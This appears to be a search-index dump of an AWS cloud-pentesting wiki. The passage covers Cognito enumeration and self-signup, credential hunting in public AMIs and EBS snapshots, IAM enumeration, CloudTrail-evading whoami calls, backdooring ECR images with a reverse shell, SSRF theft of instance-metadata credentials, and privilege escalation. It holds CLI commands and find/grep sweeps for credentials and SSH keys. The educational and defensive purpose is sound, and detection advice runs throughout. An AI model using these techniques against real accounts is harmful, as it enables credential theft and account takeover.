user exists","text":"<pre><code>$ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username admin \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n\nAn error occurred (UsernameExistsException) when calling the SignUp operation: User already exists\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist_1","title":"Prevent user existence errors on and user does not exist","text":"<pre><code>$ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username notreal \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n{\n    \"UserConfirmed\": false,\n    \"CodeDeliveryDetails\": {\n        \"Destination\": \"b***@b***\",\n        \"DeliveryMedium\": \"EMAIL\",\n        \"AttributeName\": \"email\"\n    },\n    \"UserSub\": \"a20\u2026\"\n}\n</code></pre>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#detection-opportunities","title":"Detection Opportunities","text":"<p>If an adversary is using this technique at scale to identify what accounts exist in your user pool, you can attempt to detect this behavior by alerting on a sudden increase in <code>Unconfirmed</code> user accounts.</p> <p></p> <p>Depending on the configuration of your user pool, an adversary could attempt to get around this by using a real email address to confirm the user name.</p>"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cloudtrail-and-cloudwatch-limitations","title":"CloudTrail and CloudWatch Limitations","text":"<p>If you attempt to build detections around this using CloudTrail or CloudWatch, you will run into challenges. This is because a significant portion of useful telemetry (basically all of it) is omitted in these logs. For example, the <code>userIdentity</code> who made the API call is <code>Anonymous</code></p> <pre><code>{\n    \"eventVersion\": \"1.08\",\n    \"userIdentity\": {\n        \"type\": \"Unknown\",\n        \"principalId\": \"Anonymous\"\n}\n</code></pre> <p>And the <code>username</code> and <code>userAttributes</code> are hidden:</p> <pre><code>\"requestParameters\": {\n    \"clientId\": \"719...\",\n    \"username\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"password\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"userAttributes\": \"HIDDEN_DUE_TO_SECURITY_REASONS\"\n}\n</code></pre> <p>For this reason, you can use CloudTrail or CloudWatch to track the number of cognito-idp:SignUp calls, and their associated <code>sourceIPAddress</code>, but not access their details. </p>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/","title":"Discover secrets in public AMIs","text":"<ul> <li> <p> Original Research</p> <p>AWS CloudQuarry: Digging for Secrets in Public AMIs by Eduard Agavriloae and Matei Josephs.</p> </li> </ul> <p>For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.</p>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#finding-exposed-amis","title":"Finding Exposed AMIs","text":"<p>Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.</p> <p>However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:</p> <pre><code>aws ec2 describe-images --owners &lt;account_id&gt; --include-deprecated --region &lt;region&gt;\n</code></pre>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#using-public-amis-and-scanning-for-credentials","title":"Using Public AMIs and Scanning for Credentials","text":"<p>Once you've identified public AMIs, you can use them to launch instances and manually scan for sensitive information, including credentials.</p>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#launching-an-instance-from-a-public-ami","title":"Launching an Instance from a Public AMI","text":"<p>To launch an instance from a public AMI, follow these steps:</p> <ol> <li>Launch an Instance: Using the AWS CLI, launch an instance using the desired AMI: <pre><code>aws ec2 run-instances --image-id &lt;image_id&gt; --instance-type t2.micro --key-name &lt;key-pair&gt;\n</code></pre></li> <li>Access the Instance: Once the instance is running, connect to it using Session Manager or SSH: <pre><code>ssh -i &lt;your-key-pair&gt;.pem ec2-user@&lt;public-dns-of-instance&gt;\n</code></pre></li> </ol>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#manually-scanning-for-credentials","title":"Manually Scanning for Credentials","text":"<p>Manual scanning involves checking common locations where credentials may be stored. Here are some typical command-line operations that can help:</p> <ol> <li>Search for AWS Credentials: <pre><code>find / -name \"credentials\" -type f\n</code></pre></li> <li>Search for SSH Keys: <pre><code>find / -name \"id_rsa\" -type f\n</code></pre></li> <li>Look for Configuration Files Containing Sensitive Information: Use <code>grep</code> to locate keywords such as 'password', 'secret', 'key', etc. <pre><code>grep -ri 'password\\|secret\\|key' /path/to/search\n</code></pre></li> </ol>"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#automating-the-process","title":"Automating the Process","text":"<p>While the manual process can be effective for targeted searches, automation provides efficiency and consistency at scale. </p> <p>You can write scripts or use specialized tools to automate the detection of sensitive information. Here are some approaches:</p> <ol> <li>Using Bash Scripts: Create a script that executes various <code>find</code> and <code>grep</code> commands. Save this as <code>scan.sh</code>: <pre><code>#!/bin/bash\n# Search for AWS credentials\nfind /home -name \"credentials\" -print\n\n# Search for SSH keys\nfind /home -name \"id_rsa\" -print\n\n# Search for sensitive information in configuration files\ngrep -ri 'password\\|secret\\|key' /home\n</code></pre> Run the script on each instance: <pre><code>chmod +x scan.sh\n./scan.sh\n</code></pre></li> <li>Using Specialized Tools: Tools like truffleHog and gitleaks can detect sensitive information in codebases and configurations.</li> </ol>"},{"location":"aws/enumeration/enum_iam_user_role/","title":"Unauthenticated Enumeration of IAM Users and Roles","text":"<ul> <li> <p> Original Research</p> <p> <p>Hacking AWS end-to-end - remastered by Daniel Grzelak</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <p>Reference: Unauthenticated AWS Role Enumeration (IAM Revisited)</p> </li> <li> <p> Tools mentioned in this article</p> <ul> <li>quiet-riot </li> <li>enumerate_iam_using_bucket_policy</li> <li>pacu:iam_enum_roles</li> </ul> </li> </ul> <p>You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.</p> <p>Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Example permissions\",\n            \"Effect\": \"Deny\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::123456789123:role/role_name\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::*bucket you own*\"\n        }\n    ]\n}\n</code></pre> <p>You would apply this policy to a bucket you own. By specifying a principal in the target account (123456789123), you can determine if that principals exists. If setting the bucket policy succeeds you know the role exists. If it fails you know the role does not.</p> <p>There are a few ways to do this, for example, Pacu's module will attempt to change the AssumeRole policy of a role in your account and specify a role in another account. If the role exists, the policy will be updated and no error will be returned. If the role does not exist, the policy will not be updated and instead return an error.</p> <p>Warning</p> <p>Doing either of these techniques will generate a lot of CloudTrail events, specifically UpdateAssumeRolePolicy or PutBucketPolicy in your account. If your intention is to be stealthy it is not advised (or required) to use a target's credentials. Instead you should use your own account (the CloudTrail events will be generated there).</p> <p>Note</p> <p>While this works for both IAM users and roles, this will also work with service-linked roles. This will allow you to enumerate various services the account uses, such as GuardDuty or Organizations.</p> <p>Another method uses the AWS Console. Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.</p> <p>From the AWS Console, ensure the <code>Root user</code> radio button is selected and enter an email address that you suspect owns an AWS account. </p> <p>If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:</p> <pre><code>There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n</code></pre>"},{"location":"aws/enumeration/enumerate_principal_arn_from_unique_id/","title":"Derive a Principal ARN from an AWS Unique Identifier","text":"<ul> <li> <p> Original Research</p> <p> <p>Reversing AWS IAM unique IDs by Aidan Steele</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <p>Reference: Unique identifiers</p> </li> </ul> <p>When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).</p> <p>For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.</p> <p>To do this, we can use the example ID of <code>AROAJMD24IEMKTX6BABJI</code> from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.</p> <p>First, we will create a role with the following trust policy:</p> <pre><code>{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"AROAJMD24IEMKTX6BABJI\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>We will then save the policy and refresh the page. </p> <p>Note</p> <p>You may get a warning in the policy editor saying, \"Invalid Role Reference: The Principal element includes the IAM role ID AROAJMD24IEMKTX6BABJI. We recommend that you use a role ARN instead\", however this will not prevent you from saving the policy.</p> <p>After refreshing the page the policy will now be as follows:</p> <pre><code>{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::607481581596:role/service-role/abctestrole\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>This reveals the ARN of the role associated with the original unique identifier.</p>"},{"location":"aws/enumeration/enumerate_root_email_from_console/","title":"Enumerate Root User Email Address from the AWS Console","text":"<p>Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.</p> <p>From the AWS Console, ensure the <code>Root user</code> radio button is selected and enter an email address that you suspect owns an AWS account. </p> <p>If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:</p> <pre><code>There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n</code></pre>"},{"location":"aws/enumeration/get-account-id-from-keys/","title":"Get Account ID from AWS Access Keys","text":"<ul> <li> <p> Original Research</p> <ul> <li>AWS Access Key ID Formats by Aidan Steele</li> <li>A short note on AWS KEY ID by Tal Be'ery</li> </ul> </li> </ul> <p>While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.</p> <p>To solve this problem, there are multiple ways to determine the account ID of IAM credentials.</p>"},{"location":"aws/enumeration/get-account-id-from-keys/#stsgetaccesskeyinfo","title":"sts:GetAccessKeyInfo","text":"<p>Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).</p> <pre><code>user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456\n{\n    \"Account\": \"123456789012\"\n}\n</code></pre>"},{"location":"aws/enumeration/get-account-id-from-keys/#decode-the-access-key","title":"Decode the access key","text":"<p>As originally discovered by Aidan Steele, and later improved upon by Tal Be'ery, the account ID is actually encoded into the access key itself. </p> <p>By decoding the access key using Base32 and doing a little bit shifting, we can get the account ID. Tal wrote the handy Python script below to do this:</p> <pre><code>import base64\nimport binascii\n\ndef AWSAccount_from_AWSKeyID(AWSKeyID):\n\n    trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix\n    x = base64.b32decode(trimmed_AWSKeyID) #base32 decode\n    y = x[0:6]\n\n    z = int.from_bytes(y, byteorder='big', signed=False)\n    mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)\n\n    e = (z &amp; mask)&gt;&gt;7\n    return (e)\n\n\nprint (\"account id:\" + \"{:012d}\".format(AWSAccount_from_AWSKeyID(\"ASIAQNZGKIQY56JQ7WML\")))\n</code></pre>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/","title":"Loot Public EBS Snapshots","text":"<p>For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.</p>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#making-them-public","title":"Making them Public","text":"<p>EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.</p> <p></p>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#finding-exposed-snapshots","title":"Finding Exposed Snapshots","text":"<p>A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).</p> <p>A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select <code>Public snapshots</code> from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).</p> <p></p> <p>To pull this list in an easily consumable format you can use the following CLI command:</p> <pre><code>aws ec2 describe-snapshots --restorable-by-user-ids all\n</code></pre> <p>As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.</p> <p>Tip</p> <p>This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can determine the account they are tied to and check for exposed EBS snapshots.</p> <p>To search for all public EBS snapshots associated with an AWS account, use the following command:</p> <pre><code>aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids 000000000000\n</code></pre>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#identification","title":"Identification","text":"<p>To find exposed EBS snapshots in your account you can use automated tooling such as Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.</p> <pre><code>./prowler -c ec2_ebs_public_snapshot\n</code></pre>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#detection","title":"Detection","text":"<p>When someone makes an EBS snapshot publicly accessible, CloudTrail generates an <code>ec2:ModifySnapshotAttribute</code> event with <code>createVolumePermission</code> set to <code>{\"add\": {\"items\": [{ \"groups\": \"all\" }]}}</code>. You can use Stratus Red Team's aws.exfiltration.ec2-share-ebs-snapshot to reproduce the issue and test your detections.</p>"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#additional-resources","title":"Additional Resources","text":"<p>For additional information on the risks of exposed EBS snapshots, check out this DEF CON 27 talk, <code>Finding Secrets In Publicly Exposed EBS Volumes</code> by Ben Morris (slides available here).</p>"},{"location":"aws/enumeration/whoami/","title":"Whoami - Get Principal Name From Keys","text":"<p>After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.</p> <p>Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information. </p> <p>Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:</p> <pre><code>An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.\n</code></pre>"},{"location":"aws/enumeration/whoami/#sqslistqueues","title":"sqs:ListQueues","text":"<p>sqs:ListQueues is a quick API call which will return the calling identity's name and account ID without logging to CloudTrail. Note that the <code>ListQueues</code> action does not appear in the documentation for SQS's compatibility with CloudTrail.</p> <pre><code>user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n</code></pre>"},{"location":"aws/exploitation/abusing-container-registry/","title":"Abusing Elastic Container Registry for Lateral Movement","text":"<ul> <li> <p> Original Research</p> <ul> <li>Abusing Elastic Container Registry (ECR) to own AWS environments by Roi Lavie </li> <li>Docker Security : Backdooring Images with Dockerscan by Mayank Shah</li> </ul> </li> <li> <p> Required IAM Permissions</p> <p>Read and write access to an ECR registry</p> </li> </ul> <p>IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.</p> <p></p> <p>This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.</p> <p>Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.</p> <p>Video Summary:</p> <ul> <li>An attacker\u2019s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.</li> <li>The attacker gains access to resources using access to ECR</li> <li>The attacker pulls the latest docker image</li> <li>The attacker adds a layer by injecting a malicious payload to the docker image</li> <li>The attacker pushes the docker image to ECR with the latest tag</li> <li>The victim pulls the latest docker image and starts the container</li> <li>The malicious reverse shell is executed and communicates with the attacker</li> <li>The attacker steals the server's IAM credentials   (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)</li> </ul> <p>Security Recommendations:</p> <ul> <li>Least privileges \u2014 external facing apps should not have write access or wildcard (*) permissions on ECR</li> <li>Secure CI/CD pipelines \u2014 Protect from any unauthorized access to source code repos or build tools.</li> <li>Enforce signing of docker images</li> <li>(see: https://github.com/notaryproject/notary)</li> <li>Use docker custom security profiles like AppArmor, Seccomp</li> <li>Audit and monitor access and actions on ECR using AWS CloudTrail   (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)</li> </ul> <p>Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.</p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/","title":"Overpermissioned AWS Cognito Identity Pools","text":"<ul> <li> <p> Additional Resources</p> <ul> <li>Exploit two of the most common vulnerabilities in Amazon Cognito with CloudGoat by Usama Rasheed</li> <li>AWS Cognito pitfalls: Default settings attackers love (and you should know about) by Lorenzo Vogelsang</li> </ul> </li> </ul> <p>A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.</p> <p>If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.</p> <p>Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.</p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#how-it-works","title":"How it works","text":"<p>The process usually involves two key steps:</p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#identity-retrieval","title":"Identity Retrieval:","text":"<p>This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.</p> <p>When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.  </p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#excessive-privileges-exploitation","title":"Excessive Privileges Exploitation:","text":"<p>The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.</p> <p>However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.</p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#exploitation","title":"Exploitation","text":"<p>The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:</p> <p><pre><code>aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}\n</code></pre> and then: <pre><code>aws cognito-identity get-credentials-for-identity --identity-id {identity_id} --logins {login_provider}:{id_token}\n</code></pre></p>"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#impact","title":"Impact","text":"<p>The severity of this vulnerability depends on the permissions associated with the Identity Pool. In the worst case, an attacker could perform actions that are equivalent to a full AWS account takeover. This could lead to data leakage, unauthorized modification of data, and potential compliance violations.</p> <p>However, if Identity Pools are configured in accordance with the principle of least privilege, the impact of this vulnerability is significantly reduced. In this case, the attacker would only be able to perform actions that are allowed by the associated IAM roles. This might include accessing data that they should not be able to access, but it would not allow them to perform privilege escalation and actions that are not allowed directly by the IAM roles.</p>"},{"location":"aws/exploitation/cognito_user_self_signup/","title":"Unintended Self-Signup in AWS Cognito","text":"<ul> <li> <p> Additional Resources</p> <ul> <li>CloudGoat Scenario: vulnerable_cognito</li> </ul> </li> </ul> <p>A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users. </p> <p>However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If \"Admin Only\" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.</p>"},{"location":"aws/exploitation/cognito_user_self_signup/#how-it-works","title":"How it works","text":"<p>Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.</p>"},{"location":"aws/exploitation/cognito_user_self_signup/#web-applications","title":"Web applications:","text":"<p>An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:</p> <ol> <li>Opening the web application in a web browser. </li> <li>Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage. </li> <li>Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID. </li> </ol> <p>It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.</p>"},{"location":"aws/exploitation/cognito_user_self_signup/#mobile-applications","title":"Mobile applications:","text":"<p>Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:</p> <ol> <li>Downloading the application package (APK for Android, IPA for iOS) to a local device.</li> <li>Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications. </li> <li>Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.</li> </ol>"},{"location":"aws/exploitation/cognito_user_self_signup/#exploitation","title":"Exploitation","text":"<p>Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:</p> <pre><code>$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}\n</code></pre> <p>If the sign-up request fails with InvalidParameterException, it means additional user attributes are needed. In many cases, an email address is required. The attacker can then try again with the email address.</p> <pre><code>$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password} --user-attributes Name=email,Value={email_address}\n</code></pre>"},{"location":"aws/exploitation/cognito_user_self_signup/#impact","title":"Impact","text":"<p>The impact of this vulnerability depends on the application. In some cases, the application may not be affected at all. In other cases, the application may be affected in a variety of ways. </p> <p>Authenticated users of an application may be allowed to perform actions that they should not be able to perform. Perhaps the application allows data to be shared between users, and the attacker can use the application to share data with other users. Perhaps the application allows users to perform actions that cost money, and the attacker can use the application to perform actions that cost money. Perhaps the application allows users to perform actions that are not allowed by the application's terms of service, and the attacker can use the application to perform actions that are not allowed by the application's terms of service.</p> <p>In addition, the attacker may be able to exchange authenticated user access for AWS credentials. This could allow the attacker to perform actions in AWS that they should not be able to perform. See Cognito Identity Pool Excessive Privileges for more information.</p>"},{"location":"aws/exploitation/ec2-metadata-ssrf/","title":"Steal EC2 Metadata Credentials via SSRF","text":"<p>Note</p> <p>This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.</p> <p>One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.</p> <p>Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.</p> <p>If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.</p>"},{"location":"aws/exploitation/ec2-metadata-ssrf/#stealing-iam-credentials-from-the-instance-metadata-service","title":"Stealing IAM Credentials from the Instance Metadata Service","text":"<p>If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.</p> <p>This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.</p> <p>To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to <code>http://169.254.169.254</code>.</p> <p></p> <p>To determine if the EC2 instance has an IAM role associated with it, we can make a request to <code>http://169.254.169.254/latest/meta-data/iam/</code>. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.</p> <p>If there is a valid role we can steal, we can make a request to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.</p> <p></p> <p>To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/</code>.</p> <p></p> <p>These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.</p> <p>Note</p> <p>An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.</p>"},{"location":"aws/exploitation/ec2-metadata-ssrf/#additional-resources","title":"Additional Resources","text":"<p>For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.</p> <p></p>"},{"location":"aws/exploitation/iam_privilege_escalation/","title":"AWS IAM Privilege Escalation Techniques","text":"<ul> <li> <p> Original Research</p> <p> <p>AWS IAM Privilege Escalation \u2013 Methods and Mitigation by Spencer Gietzen</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <ul> <li>AWS IAM Privilege Escalation Methods</li> <li>Well, That Escalated Quickly: Privilege Escalation in AWS by Gerben Kleijn</li> </ul> </li> </ul> <p>Note</p> <p>If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#codestarcreateproject-codestarassociateteammember","title":"codestar:CreateProject, codestar:AssociateTeamMember","text":"<p>With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.</p> <p>This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.</p> <p></p> <p></p>"},{"location":"aws/exploitation/iam_privilege_escalation/#glueupdatedevendpoint","title":"glue:UpdateDevEndpoint","text":"<p>With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamaddusertogroup","title":"iam:AddUserToGroup","text":"<p>With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges. 